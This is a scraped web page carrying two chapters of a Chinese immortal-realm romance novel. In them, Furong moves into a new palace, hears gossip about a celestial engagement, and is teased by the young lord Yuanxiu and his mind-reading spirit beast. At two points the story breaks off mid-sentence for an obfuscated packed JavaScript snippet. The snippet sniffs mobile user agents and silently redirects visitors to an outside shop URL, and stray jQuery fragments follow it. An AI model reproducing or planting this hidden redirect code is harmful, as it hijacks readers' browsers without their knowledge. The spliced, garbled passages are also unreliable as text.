这位太阴娘娘,是天界有名的房姐,背靠王母这棵大树,名下囤了不少豪宅,但李长庚深知这不过是替谁洗房而已。嫦娥仙子那蟾宫就曾是她的府邸,据说当年嫦娥吃了天庭赏给她老公的金丹飞升,上来之后哭哭啼啼说是误食,王母震怒要重罚,火烧雷劈的,最后是这位太阴娘娘求情,说她那座广寒宫地处偏僻,灵气稀薄,装修简陋,几乎废弃,不如就罚她去守广寒宫吧,与流放无异。
太阴星君在王母面前先起了迁居的头儿,与李长庚掰扯不过,只得同意,心里也承认这是最便捷低成本的解决之道,只是她个人吃点亏,李长庚安抚她说大面上是风光的,无私的名头千金难买。
眼下李长庚见芙瑶回来,笑得十分得意:“恭喜芙瑶大使啊,明日你就能乔迁新居啦,王母特准你入住飞花殿,那可是个好地方哦,灵气氤氲,是很多神仙求之不得的府邸哪!”
飞花殿,芙瑶想了想,那晚她和碧云闲逛时好像路过来着,离着启明殿挺近,离天禧园也不算远,可见是李长庚就近选的。她俩当时只瞅着这府邸雕梁画栋十分漂亮,虽建面不大,但胜在雅致,大门前两颗硕大的珍珠柔和明亮,隔门一望,园内亭台楼阁、流水潺潺,确实灵气得很。
只是她那日瞧着倒不像没人住的,于是她盈盈施礼:“让李仙师费心了,芙瑶感激不尽!但不知这飞花殿,曾是哪位神君的府邸么?”
李长庚呵呵一笑:“这是太阴星君的宅子,只不过鲜少去住,平日里留了人照看打扫罢了,你安心住着便是!”
原来如此。芙瑶瞧着李长庚脸上的得意之色,猜测着这是他把场子找回来了。
她想了想又说:“李仙师,那飞花殿,我能邀碧云同住么?”
李长庚说:“给你住便是你说了算,碧云她只要能保证贡茶质量,一切都好说。”
正说话间,碧云进了殿来,神色落寞,她是来寻芙瑶的,抬眼瞧见李长庚也在,那贡茶的任务忽的就钻进了脑子里,老头儿关心贡茶胜过一切,她此时心境不好,这沮丧之色可不宜落进他眼里。于是她立时又打起精神,眉开眼笑地朝李长庚施礼:“咦,李仙师今日竟不忙,亲自照料灵兽呀。”
李长庚心情好,倒没留意碧云的异样,说道:“我刚从瑶池回来不久,怎么你们年轻轻的倒不去热闹一下,竟都跑了回来?”
芙瑶躲清静他倒是能理解,她这模样和身份容易多事,且她性子也不像是爱凑热闹的,碧云执着着修个元神离体,就是为了凑七夕会的热闹,如今跑回来倒看不懂了。
碧云笑嘻嘻看向芙瑶:“你不在我待着也无趣,所以回来找你。”
李长庚一边梳毛一边笑道:“倒是姐妹情深,刚才芙瑶还说要与你同住飞花殿呢!”
“你要搬去飞花殿住吗?”碧云想到那座殿离天禧园不远,而苍容就住天禧园旁边。
芙瑶点点头:“多亏李仙师关照,我们一起住。”
李长庚似忽然想起什么,说道:“飞花殿周围的环境你们了解了吗?它和启明殿、天禧园是个三角,马灵耀那个帅府与它隔了一座园子,绕路虽远,但穿园而过也没多少路。”
他这话是个提醒,芙瑶又想起了今日被马灵耀拦下的事。她本来对马灵耀的私事不甚关心,眼下却想问问:“李仙师,听说马灵耀有门八十多年前定下的亲事,至今还未迎娶,不知这是个什么缘分啊?”
11. 三耳抟象
李长庚见芙瑶主动问起马灵耀的事,便说:“听说今日瑶池内,他将你拦住了?”
太白金星消息灵通,芙瑶说:“是,我看他是个坦荡将军,瞧着率性耿直,怎么在亲事上竟拧巴了?”
“说来话长。”李长庚让小童将打理好的仙鹤牵回兽舍,又命人打扫此处,这才领着她俩往大殿内走,边走边说:“马灵耀这亲事是王母赐下的,他原本也是认真的,奈何他这位待嫁娘子事忒多,渐渐的马灵耀也就倦了,成了如今不尴不尬的境地,虽有婚约,可一个不说娶,另一个也不提嫁,就这么拖了许多年。”
芙瑶纳闷:“事忒多,是怎么个多法?”
李长庚说:“这位小娘子叫灵襄,说起来跟你同宗,不过她是昆仑虚的一株青莲,是王母一百多年前回娘家带来的,长得极漂亮——当然,跟你比是差了一点,但当时也曾名动九重天,跟你如今差不多吧。”
说到这里他突然顿住,像是想到什么,默了一下才又继续讲道:“这小仙子来了之后,王母派了她管理瑶池水域的差事,说白了就是打理池中莲花,清掉枯荷,保持日日鲜艳,再喂喂水下鱼儿,也算清闲。但这小仙子可不似她的前任默守陈规,她管瑶池那阵子,非但荷美鱼肥,那池中竟还有几株莲花和几尾锦鲤化出了人形,便是瑶池灵气充足,这等情况也不多见,可见这小仙子是有手段的!”
“她是如何办到的?”
“兴许王母知晓,旁人不得而知。也是机缘巧合,王母那蟠桃园百来年前有一波虫害,正值那三千年一熟的桃子结果儿期,桃园的总管当时是落玉仙子,因管理不善被罚下了界去,这灵襄就此接了她的班。当时为治这果树,小仙子劳心劳力,终于不至影响收成。可就在这小仙子前途一片大好之时,出了点差错,灵襄与马灵耀在天禧园约会,好巧不巧竟被玉帝撞上,天威震怒,还是王母求情,说两位都是不可多得之才,索性便赐了婚。”
芙瑶有些不解:“怎么约会都喜欢去天禧园呢?”
李长庚很敏感:“都?”
“我的意思是,怎么他俩都觉得那是个好地方?”
李长庚笑道:“据后来吃瓜者推断,灵襄和马灵耀结识,应该就在天禧园。当时地皇好像终日在天禧园研发什么杂交新品种,灵襄为治果树,没少往他那跑去求教,而马灵耀管着风火驿和金马驿,不免时常在各府递信传话,一来二去也就熟了。”
“那后来怎么又不娶不嫁呢?”
李长庚叹口气:“这就说法不一了。挺马灵耀的一派说,是那小仙子后来变得世俗了,三天一小节、五天一大节,变着花样向马灵耀讨礼物,马灵耀的俸禄都花在了她身上还嫌不够,想要娶过门,又挑剔他那帅府,说还不如嫦娥仙子的广寒宫大,碧云,这在你们那就叫PUA了吧?”
碧云哼了一声:“她这泡学明显失败,完全都不在她掌控了嘛。”
芙瑶往回收:“那还有另一派怎么讲?”
“另一派自然是说灵襄委屈。说马灵耀礼也送了、钱也花了,约会时间也没少搭,标准动作一个没落下,可就是没走心,没娶的时候尚且如此,成亲了怕是连这些面上功夫也没了。”
芙瑶感叹:“还真是各说各的理,谁都挺委屈。”她想着马灵耀跟她讲,这婚约也是可以取消的,又问:“既然他俩都有不满,那为何不取消婚约?”
“大约是因为王母赐婚,又没有什么原则性的大失误,小情侣间这些龃龉,可够不上拿出来打脸的!”
李长庚说完又补充,“马灵耀向你提亲这事还是不地道,虽说各府大多有妻有妾,可他至少也该有个明确说法,可见是别有心思,要么为刺激灵襄,要么是蓄意试探,总之是诚意不足。”
芙瑶说:“不管他为什么,总之是不成的。”
几个人在殿内坐了,小童给奉上茶,李长庚低眉浅笑吹了口茶,颇有深意地说道:“他自然是不成,样貌嘛,老成了一点,修为呢,传书送信也用不着太高,至于家私底蕴,确实也算不得深厚,比起鱼鲮岛那位小爷……那自然是没法比的。”
芙瑶没想到李长庚也如此八卦,干干笑道:“李仙师你可真会开玩笑。”
李长庚呵呵笑了一声,放下茶杯,双手揖礼,十分恭敬地迎了出去:“小仙尊怎么有空来这里,有失远迎啦!”
芙瑶扭头一看,果见一袭青衫抱了只小白狮子,悠哉悠哉进了殿来。这家伙登门也不通报,真是无礼至极。
元修进门后微微俯身,那小兽蹭得从他怀里跃出,径直跑向了芙瑶,离着两步猛地一跳,扑进了她怀里,撞得芙瑶险些要倒。她抱着小兽起身施礼,余光看向碧云,她怔怔地,望着元修道:“你是那日抛莲子的仙君……”
李长庚轻咳一声:“这是鱼鲮岛的元修仙尊,休要无礼。”
碧云意识到莽撞了,慌忙福身。她想起苍容拒了她的约会,说要回天禧园,因为有小仙子说在那附近看到了元修,没想到他竟来了启明殿,又没想到,他便是早前往臭泥潭里抛莲子的始作俑者。
元修眸光在碧云身上扫过,又看向芙瑶,他那只小兽正往她怀里拱。他眼底闪过一丝笑意,转向李长庚说道:“这小东西在瑶池便追着她跑,恐怕要在贵府上叨扰几日。”
李长庚八百个心眼子,看了眼芙瑶,见她对这小兽一副心喜神色,但这种狗皮膏药他可不想沾,笑道:“那可真是缘分!王母恩旨,芙瑶姑娘明日就迁居飞花殿啦,那里灵气氤氲,五六想必也是喜欢的!”
元修说:“五六第一次来九重天,你便能喊出它的名字,这秘书当得可堪比情报员。”
“呵呵小仙尊言重啦,廉贞星君他们才是专业的,我不过是八卦了些。”端着这碗饭,李长庚对脑袋顶上那几位就不免多关注些。俗话说有瓜者事竟成,没瓜者寸步难行,他也是扎在瑶池那几拨八卦队伍里,听说今日元修也来了,还骚包地带了只萌宠,叫五六,可见他凑热闹也是认真的。
说完这话,李长庚又突然想起什么道:“啊,我那烘笼上还烘着毛峰,可大意不得!小仙尊您随意,恕我和碧云先失陪一会儿!”说完招呼碧云,麻溜消失在了殿外,连奉茶的小童都叫走了,看得芙瑶直皱眉。
元修大喇喇坐下,对站着的芙瑶说道:“我记得那兜莲子中,好像有颗不大一样,没留意就撒出去了,是你吧?”
他自己干的缺德事,她还没说什么,他倒是毫不以为耻地先开口了,这心理素质叫芙瑶学到了。
她满眼清澈的懵懂:“你说的是哪兜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727698|144985||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”
元修低头一笑,没回答,又问:“李长庚为何将你带上来?”
“我没问过他。”芙瑶撸着五六光滑的毛发,又用脸蹭了蹭它的头,似乎没将元修的问话当回事。
元修再问:“玉帝可曾召你了?”
芙瑶坐下,将五六放在腿上,开始挼它耳朵,随口说道:“召我做什么?”
他看出来了,她这装傻充愣的本事也并不比他差。
一声轻短的口哨声从元修口中滑出,五六唰得竖直了耳朵,而它头顶刚刚冒出来尚未丰满的鬃毛里,竟也立起来一只小小的耳朵,约是正常耳朵的一半大小,毛茸茸的十分可爱。芙瑶先是惊了一下,而后竟好奇地去摸,软软的,滑溜溜,手感不错。
元修继续说道:“你今日去天禧园做什么?”
芙瑶觉得好笑,先前她问他的那些问题,他没一个好好回答的,眼下却接二连三地问她,是觉得她傻么?她闯天禧园又不是什么光彩事。她直接当没听见,捏着那只小耳朵说道:“怎么这里竟然还有只耳朵,真好玩!”
她头顶忽的罩下一片影子,元修已走至她跟前,俯身说道:“你不傻,你对天禧园的那些猜测的确可疑,还有,跟踪也的确不是什么光彩事!”
芙瑶心下一惊,抬头就撞上元修带笑却又深邃的双眸。
这家伙居然会读心术?
但她很快便反应过来,低头看向怀里的五六,小家伙竖着耳朵闭着眼,一副老僧入定的样子,而它头顶那只小耳朵还捏再她手里。
她的手唰得松了,想了想又将五六抱起放到了地上。
元修笑着将五六抱进怀里,抚摸着它光滑的毛发,五六缓缓睁开了眼。
他慢条斯理道:“重新介绍一下,它叫做三耳抟象,是北俱芦洲一种极稀少的灵兽。所谓三耳,一耳听天,一耳听地,一耳听万灵心声……所以,你还想继续养么?”
妥妥的窃听器!
这算什么,偷鸡不成蚀把米?
芙瑶气呼呼的:“你怎么不早说?!无耻!”
“你又没问。再说我看你那么喜欢,我又乐于成人之美……”
“它还有什么异能?”
元修眼里笑意更浓:“看姻缘。”
芙瑶怎么看都觉得他又在消遣她,她看向五六,五六睁着那双乌溜溜的大眼睛,无辜而又天真地看她。
元修说:“不信?不然我为何带它来七夕会?”
“那它可有给你挑一份好姻缘?”
“挑了。”
“谁那么不幸?”
元修凤眸含笑,望着她一眨不眨。
芙瑶突然反应过来,脸一红道:“开什么玩笑!”说完找了个离他俩比较远的地方,坐下来平复心神。
元修看着她羞恼的样子,强忍着笑凑过去,挨着她坐下,将五六塞回她怀里说:“好了逗你的!它还那么小,听心的本事还很弱,我不过就是瞧你敷衍我,诈你一下罢了,详细的你怎么想,我可真不知道!”
芙瑶:“真的?”
元修十分认真:“真的!”
想了想又补充:“看姻缘,也是假的!”
芙瑶深吸口气,又叹口气,深感江湖险恶,真是防不胜防!
12. 都看到了
飞花殿内香气氤氲,几天下来,庆祝乔迁的贺礼在殿内一角堆得像个小山,不少认识的和不认识的陆续登门,芙瑶听下来大致分了几类:一类是因着七夕会熟识的朋友,各部都有一些;二是慕名上门的,或倾慕或好奇或来寻关系的;三是来八卦的,关于她的出身、她的前途、她和苍容、马灵耀、元修等仙君们的一些可能及不可能。
应付后两类,不免要装装傻费些心神,芙瑶有些疲累。碧云回来时,她正半卧在蒲团上出神,手里捏着一只精致的雕花檀木香盒,尚未打开便有丝丝缕缕的甜香溢出。碧云一进来便闻见了,不禁赞道:“这香真好闻,谁送的?”
“灵襄。”
这话一出,碧云挺意外:“她也来了?不会来找你茬儿的吧?”
“倒没看出来有敌意,挺热情也挺亲切,提及马灵耀全是夸奖,只说她自己配不上。”
“他俩这关系还真叫人看不透……不过这香不错,要不要试试?”
“随你。”她把香递给碧云,看着她用香匙取了香粉,仔细地洒进香炉,一股清幽、柔和的香甜气息袅袅散开,萦绕在整个房间,细嗅还有一丝丝清凉。这味道比一般的檀香要更柔和醇厚,多闻一会儿,整个心神都会慢慢平静下来,思绪渐空,犹如入定。
灵襄送香时说,她花了十多年时间向地皇学习识香、制香,这是她试了无数次才满意的味道,最宜睡前焚上,能养神安眠。这香的名字,叫大觉空相,芙瑶觉得挺贴切。
但她脑子里又浮现出在天禧园见的那抹绿色身影。她见灵襄第一眼便觉得相像,待她开口,她几乎肯定那日山后面的就是她。灵襄因治桃树求教地皇,与地皇虽无师徒之名,竟有十余年的师徒之实,她进出天禧园倒也不足为奇,只是那日不走正门的姿态显得过于谨慎,再结合她无意间听到的话,便不免引发遐想。
碧云伸个指头在她眼前晃了晃,芙瑶随口说道:“你说灵襄会不会压根不喜欢马灵耀?”
“他俩是约会被抓,就算变心也是后来吧?”
“他们在天禧园约会……”后半句芙瑶顿住了,毕竟有冒犯尊上的嫌疑。
碧云却没听懂,也没深究,自顾自开始讲她今日听来的八卦:“我今日跟李仙师制茶时,见到了赤脚大仙,三元九府里就属这位老爷子爱闲逛和八卦。他刚喝了顿酒,说那位听调不听宣的反骨,这回上天来又把他舅舅骂了一顿!”
“二郎真君么,又是为何?”
“好像是七夕的事,王灵官带人抓了几个猥琐不轨之徒,结果一查一审,基本都有后台!二郎真君掌管天律,要严判,不想冒出来一堆求情的。真君判不下去,又想对苦主有个交代,最后不晓得是谁出面,朝玉帝讨了道恩旨,对那几位受辱的女仙授了封诰、赐了金丹,那几位才不被追究。可叹真君忙活半日,既得罪了人,又没善终,一气之下便灌了些酒,从王灵官骂到三官大帝,又骂下旨的是伪君子和老不羞!”
芙瑶眉头皱了皱,头一次直观感受到这位二郎神君义气和尴尬。在这错综复杂的神际关系中,即便他是皇亲国戚,想要秉公执法也挺难,天界的伟大领袖和稀泥,甥舅俩真是于公于私各种龃龉buff叠满!
芙瑶说:“这七夕会,不过就是各方露脸、卖好和博弈的形式罢了,二郎真君过于计较不免委屈,还不如回灌江口去自在。”
碧云不嫌事大:“本来是要走的,但被云罗宫请去了,赤脚大仙去蹭了顿酒,回来说元修也在那里,三大反骨凑在一块,那李天王已经躲出去两日了,不敢回家!”
哪吒也是个倒反天罡的主儿,他和二郎真君的关系据说时好时坏,但面对不公和强权时,倒是抱得挺紧。只是元修跟他俩也不是一条道上的,论资排辈也拉不平,竟也往一个桌上坐。是以芙瑶觉得,在等级森严的九重天上,鱼鲮岛的家风还真是别具一格。
碧云又说:“对了,你做得小点心还有么?赤脚大仙在老君那里尝到了,挺喜欢。”
这点心是芙瑶做了当乔迁回礼的,她空手上了九重天,身无长物,面对一众上门道贺的,索性就取了莲子、绿茶等辅料,做了几样点心,也正合了天医院莲补的倡议,比较应景儿。只是工序繁琐,耗时耗力,来的人又多,早就分完了。
见碧云替赤脚大仙讨要,芙瑶说:“可以再做。你跟我一起,你可以给苍容送一些。”
碧云眸色暗了暗:“七夕后我便没见过他,说是正忙着,都没出过天禧园。”
芙瑶想起那日元修钻空子带她从天禧园脱身,原以为苍容会来问上几句,毕竟还留有疑点,原来竟是被绊住了。
芙瑶说:“那也不碍事,你去送吃的,正好表示一下惦念。”
“你真的觉得我俩有可能么?”
果然动了心的会患得患失。芙瑶笑道:“他又不是石头做得,你对他用心,他自然也会暖的。”
碧云点点头,又问:“那你对元修呢?”
芙瑶想到那个两日没露面的无赖,说道:“怎么你也当真了?那家伙性子顽劣,都是他故意惹出来的误会!”
碧云一笑:“李仙师可不是这么说的!”
“他又说了什么?”
“他说百十年前,他参加过一次西方的盂兰盆会,元修也在,可能是因为他在,孔雀大明王也罕见的露面了。会后他曾撞见大明王搂着两个姑娘给元修上课,全是泡学套路,元修当时满脸嫌弃,冷冷说了句:多余!李仙师说,这位小仙尊虽打小跟孔宣混,但性子跟他那师公更像,不近女色。所以这回七夕会上,他由着五六朝你撒娇,还亲自给你系衣带,过后又抱着五六来启明殿寻你,他当时瞧你那眼神,又宠又撩,李仙师说他从没见过!”
芙瑶一时噎住,幸亏他又亲又抱时李长庚不在,要不然凭他的吃瓜精神,还不知要演绎出什么来。她想着前几日在元修那里吃的亏,轻叹一声道:“元修他也是八百个心眼子,都不过是做戏罢了。我总觉得他在九重天这么折腾,是有什么目的,只是一时猜不到。”
“也是,苍容一听到他脑袋都要大了,偏偏又不能拿他怎样。”
做糕点的材料还剩不少,碧云跟着芙瑶一通忙活,好奇道:“你怎么会做这些的?”
芙瑶想了想,隐约记得好像是有位柔美贤惠的女仙教过她,那是多久之前了,似梦似幻,连对方的样貌也记不清了。她笑了笑说:“闲时从书里偷学的,还算有点天分吧。”
忙活了近两个时辰终于出锅了,放凉后,碧云找来食盒分了分,一份给李长庚,一份给赤脚大仙,还有一份自然是要送去天禧园的,给苍容的这份,她还多放了一小罐毛峰,是新茶出炉她特地留下来的。
碧云走后,芙瑶更觉疲累,想起飞花殿还有一处小汤泉,便溜达了去。汤池不大,掩映在一片山石林木之后,灵气氤氲,水雾朦胧。李长庚曾跟她讲,当日太阴星君看中这座大殿,很大程度上是因为这眼汤泉。九天之上有诸多气眼,能够汇聚灵气
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732647|144985||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,依照天道阴阳进行运化,瑶池是最大的一处,飞花殿这处汤泉也是,泉水无源却是活的,是灵气汇聚、水汽凝结衍化而生的,泡一泡神清气爽,对修行大有益处!
飞花殿只有她和碧云住,连侍女都没有,只依着原来的规矩,有仙役定时来打扫。所以此刻她很是放松的脱去衣物,沉到了温热的水中,虚乏渐被洗去,浑身舒适,时间一长眼皮就有点发沉,不知不觉竟靠在池壁上睡了过去。
梦里天地一片灰暗,山河大地支离破碎,到处可见战后的废墟,焦黑一片,寸草不生,破碎的肢体和战旗横陈四野,满目疮痍。突然天际火光乍现,伴着响彻天地的哀鸣,顷刻蔓半边天被染红,那是掌天的凤族陨落的征兆,紧跟着便是怒海翻腾,龙、龟出海,与麒麟一族战得血肉模糊,先天天地在一片混乱中崩塌……
芙瑶猛地睁开,心突突直跳,一时间有些恍惚。那是龙汉祖劫,第二个无量量劫的事,远在巫妖量劫之前,多么久远啊。
她也不知泡了多久,瞧着天都暗了,院子里那些大大小小的明珠已开始散着清辉,映得汤池里如梦似幻。她从水里站起身,简单擦了擦,拾起池边的衣服穿好便往回溜达。路过碧云房间时特地留意了一下,她还没有回来,她低着头嘴角浮起一抹笑。
继而又想她自己,闭眼前乱世,再睁眼已是太平。在这期间,许多她知道的、不知道的,见过的、没见过的圣灵,均已应劫,湮灭在飞旋的时空中。大道五十,天衍四十九,她这避世般的偷生,也不知算不算一个变数。经历过那么多乱世劫数,她实在也没太多奢求,在哪里无所谓,既然醒了,便只想安稳自在地活着。
可她睁眼见到的是碧云,随着碧云来了这里。自来以后的诸多事,她也看明白了,虽是九天圣境,那水面之下也是波涛汹涌,乱世有乱世的血腥,太平有太平的算计,而这些她都不喜欢。碧云若真能跟苍容在一起,有人护着她,九重天也算是个好归宿。而她自己,或许可以去看看现世的大山大河。
她思绪纷纷,上台阶时一不留神被绊了一下,身体猛地向前摔去,未及有所反应,已经被一个熟悉的怀抱接住。
芙瑶抬起头,撞见元修凤眸带笑,声音里藏着戏谑:“你也不用扑得这么急。”
芙瑶望着他一双眼睛,突然想起李长庚那句“又宠又撩”的话来,他此刻的眼神算么?
他身上除了浅浅的兰香,还有淡淡的酒气。她记得碧云说,他在云罗宫喝了两日的酒。
她直起身,略整了整衣服,说道:“云罗宫的酒散了么?你怎么会来这里?”
这话一出口,她忽然意识到有些不妥,这字眼听上去,竟像带了些娇痴埋怨。
果然元修望着她笑了:“这么关注我的行踪?才不过两日没露面而已。”
芙瑶越过她回自己房间,元修径自跟了过去,赶在她关门前,闪进了房里。
芙瑶看着他很不见外地拿起桌上的杯子倒了杯水,刚要说什么,却见他把那杯水递给了她。见她没接,他笑道:“泡了那么久,不渴?”
芙瑶怔了一下,他知道她泡澡,还知道泡了那么久,那他什么时候来的,在哪里?
她眼里多了一丝羞恼:“你看到了?”
元修只是笑,抬了抬手,示意她接水。
她接过来,仍不踏实:“看到了什么?”
他用视线把她从头到脚扫了一边,说:“都看到了。”
芙瑶手里的杯子碎了。